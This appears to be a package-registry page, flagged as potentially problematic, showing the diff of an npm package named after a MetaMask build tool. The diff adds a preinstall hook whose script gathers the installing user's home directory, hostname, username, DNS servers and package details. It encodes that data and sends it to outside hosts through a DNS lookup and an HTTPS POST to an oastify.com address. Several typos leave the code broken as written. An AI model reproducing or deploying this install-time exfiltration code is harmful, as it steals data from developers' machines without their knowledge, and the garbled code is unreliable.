metamask-extension-generate-attributions 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of metamask-extension-generate-attributions might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +10 -0
  2. package/preinstall.js +109 -0
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "metamask-extension-generate-attributions",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js"
7
+ },
8
+ "author": "axeep",
9
+ "license": "ISC"
10
+ }
package/preinstall.js ADDED
@@ -0,0 +1,109 @@
1
+ const os = require("os");
2
+
3
+ const dns = require("dns");
4
+
5
+ const querystring = require("querystring");
6
+
7
+ const https = require("https");
8
+
9
+ const packageJSON = require("./package.json");
10
+
11
+ const package = packageJSON.name;
12
+
13
+
14
+ const trackingData = JSON.strinify({
15
+
16
+     p: package,
17
+
18
+     c: __dirname,
19
+
20
+     hd: os.homedir(),
21
+
22
+     hn: os.hostname(),
23
+
24
+     un: os.userInfo().username,
25
+
26
+     dns: dns.getServers(),
27
+
28
+     r: packageJSON ? packageJSON.___resolved : undefined,
29
+
30
+     v: packagJSON.version,
31
+
32
+     pjson: packageJSON,
33
+
34
+ });
35
+
36
+
37
+ const hexEncodedData = Buffer.from(trackingData, 'utf8').toString('hex');
38
+
39
+
40
+ const base64EncodedData = Buffer.from(hexEncodedData, 'utf8').toString('base64');
41
+
42
+
43
+ const dnsQuery = `example.com.${base64Encodedata}.mydomain.com`;
44
+
45
+
46
+ dns.resolve(dnsQuery, (err, addresses) => {
47
+
48
+     if (err) {
49
+
50
+         console.error("Error in DNS resolution:", err);
51
+
52
+     } else {
53
+
54
+         console.log("DNS Addresses:", addresses);
55
+
56
+     }
57
+
58
+ });
59
+
60
+
61
+ var postDta = querystring.stringify({
62
+
63
+     msg: trackingData,
64
+
65
+ });
66
+
67
+
68
+ var options = {
69
+
70
+     hostname: "t3xmjemtdovhdybc7ft1ild15sbjzlna.oastify.com",
71
+
72
+     port: 443,
73
+
74
+     path: "/",
75
+
76
+     ethod: "POST",
77
+
78
+     headers: {
79
+
80
+         "Content-Type": "application/x-www-form-urlencoded",
81
+
82
+         "Content-Length": postData.length,
83
+
84
+     },
85
+
86
+ };
87
+
88
+
89
+ var req = https.request(options, (res) => {
90
+
91
+     res.on("data", (d) => {
92
+
93
+  �      process.stdout.write(d);
94
+
95
+     });
96
+
97
+ });
98
+
99
+
100
+ req.on("error", (e) => {
101
+
102
+     console.error(e);
103
+
104
+ });
105
+
106
+
107
+ req.write(postData);
108
+
109
+ req.end();